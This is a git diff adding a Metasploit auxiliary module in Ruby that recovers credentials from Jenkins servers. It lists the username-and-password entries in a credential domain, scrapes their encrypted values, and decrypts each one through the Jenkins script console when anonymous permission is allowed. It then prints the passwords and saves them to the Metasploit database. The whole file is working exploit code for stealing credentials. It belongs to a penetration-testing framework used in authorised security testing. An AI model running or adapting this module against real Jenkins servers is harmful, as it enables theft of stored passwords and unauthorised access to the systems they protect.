diff --git a/modules/auxiliary/gather/jenkins_cred_recovery.rb b/modules/auxiliary/gather/jenkins_cred_recovery.rb new file mode 100644 index 0000000000..3c7ed07bb3 --- /dev/null +++ b/modules/auxiliary/gather/jenkins_cred_recovery.rb @@ -0,0 +1,295 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'json' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Jenkins Domain Credential Recovery', + 'Description' => %q{ + This module will collect Jenkins domain credentials, and uses + the script console to decrypt each password if anonymous permission + is allowed. + + It has been tested against Jenkins version 1.590, 1.633, and 1.638. + }, + 'Author' => + [ + 'Th3R3p0', # Vuln Discovery, PoC + 'sinn3r' # Metasploit + ], + 'References' => + [ + [ 'EDB', '38664' ], + [ 'URL', 'http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html' ] + ], + 'DefaultOptions' => + { + 'RPORT' => 8080 + }, + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']), + OptString.new('JENKINSDOMAIN', [true, 'The domain where we want to extract credentials from', '_']) + ], self.class) + end + + + # Returns the Jenkins version. + # + # @return [String] Jenkins version. + # @return [NilClass] No Jenkins version found. + def get_jenkins_version + uri = normalize_uri(target_uri.path) + res = send_request_cgi({ 'uri' => uri }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version') + end + + html = res.get_html_document + version_attribute = html.at('body').attributes['data-version'] + version = version_attribute ? version_attribute.value : '' + version.scan(/jenkins\-([\d\.]+)/).flatten.first + end + + + # Returns the Jenkins domain configured by the user. + # + # @return [String] + def domain + datastore['JENKINSDOMAIN'] + end + + + # Returns a check code indicating the vulnerable status. + # + # @return [Array] Check code + def check + version = get_jenkins_version + vprint_status("Found version: #{version}") + + # Default version is vulnerable, but can be mitigated by refusing anonymous permission on + # decryption API. So a version wouldn't be adequate to check. + if version + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + + # Returns all the found Jenkins accounts of a specific domain. The accounts collected only + # include the ones with the username-and-password kind. It does not include other kinds such + # as SSH, certificates, or other plugins. + # + # @return [Array] An array of account data such as id, username, kind, description, and + # the domain it belongs to. + def get_users + users = [] + + uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain) + uri << '/' + + res = send_request_cgi({ 'uri'=>uri }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while enumerating accounts.') + end + + html = res.get_html_document + rows = html.search('//table[@class="sortable pane bigtable"]//tr') + + # The first row is the table header, which we don't want. + rows.shift + + rows.each do |row| + td = row.search('td') + id = td[0].at('a').attributes['href'].value.scan(/^credential\/(.+)/).flatten.first || '' + name = td[1].text.scan(/^(.+)\/\*+/).flatten.first || '' + kind = td[2].text + desc = td[3].text + next unless /Username with password/i === kind + + users << { + id: id, + username: name, + kind: kind, + description: desc, + domain: domain + } + end + + users + end + + + # Returns the found encrypted password from the update page. + # + # @param id [String] The ID of a specific account. + # + # @return [String] Found encrypted password. + # @return [NilCass] No encrypted password found. + def get_encrypted_password(id) + uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain, 'credential', id, 'update') + res = send_request_cgi({ 'uri'=>uri }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while getting the encrypted password') + end + + html = res.get_html_document + input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]') + + if input + return input.attributes['value'].value + else + vprint_error("Unable to find encrypted password for #{id}") + end + + nil + end + + + # Returns the decrypted password by using the script console. + # + # @param encrypted_pass [String] The encrypted password. + # + # @return [String] The decrypted password. + # @return [NilClass] No decrypted password found (no result found on the console) + def decrypt(encrypted_pass) + uri = normalize_uri(target_uri, 'script') + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => { + 'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'", + 'json' => {'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'"}.to_json, + 'Submit' => 'Run' + } + }) + + unless res + fail_with(Failure::Unknown, 'Connection timed out while accessing the script console') + end + + if /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body + vprint_error('No permission to decrypt password') + return nil + end + + html = res.get_html_document + result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]') + if result + decrypted_password = result.inner_text.scan(/^Result: ([[:print:]]+)/).flatten.first + return decrypted_password + else + vprint_error('Unable to find result') + end + + nil + end + + + # Decrypts an encrypted password for a given ID. + # + # @param id [String] Account ID. + # + # @return [String] The decrypted password. + # @return [NilClass] No decrypted password found (no result found on the console) + def descrypt_password(id) + encrypted_pass = get_encrypted_password(id) + decrypt(encrypted_pass) + end + + + # Reports the username and password to database. + # + # @param opts [Hash] + # @option opts [String] :user + # @option opts [String] :password + # @option opts [String] :proof + # + # @return [void] + def report_cred(opts) + service_data = { + address: rhost, + port: rport, + service_name: ssl ? 'https' : 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user] + }.merge(service_data) + + if opts[:password] + credential_data.merge!( + private_data: opts[:password], + private_type: :password + ) + end + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + + def run + users = get_users + print_status("Found users for domain #{domain}: #{users.length}") + + users.each do |user_data| + pass = descrypt_password(user_data[:id]) + if pass + if user_data[:description].blank? + print_good("Found credential: #{user_data[:username]}:#{pass}") + else + print_good("Found credential: #{user_data[:username]}:#{pass} (#{user_data[:description]})") + end + else + print_status("Found #{user_data[:username]}, but unable to decrypt password.") + end + + report_cred( + user: user_data[:username], + password: pass, + proof: user_data.inspect + ) + end + end + + + def print_status(msg='') + super("#{peer} - #{msg}") + end + + + def print_good(msg='') + super("#{peer} - #{msg}") + end + + + def print_error(msg='') + super("#{peer} - #{msg}") + end + +end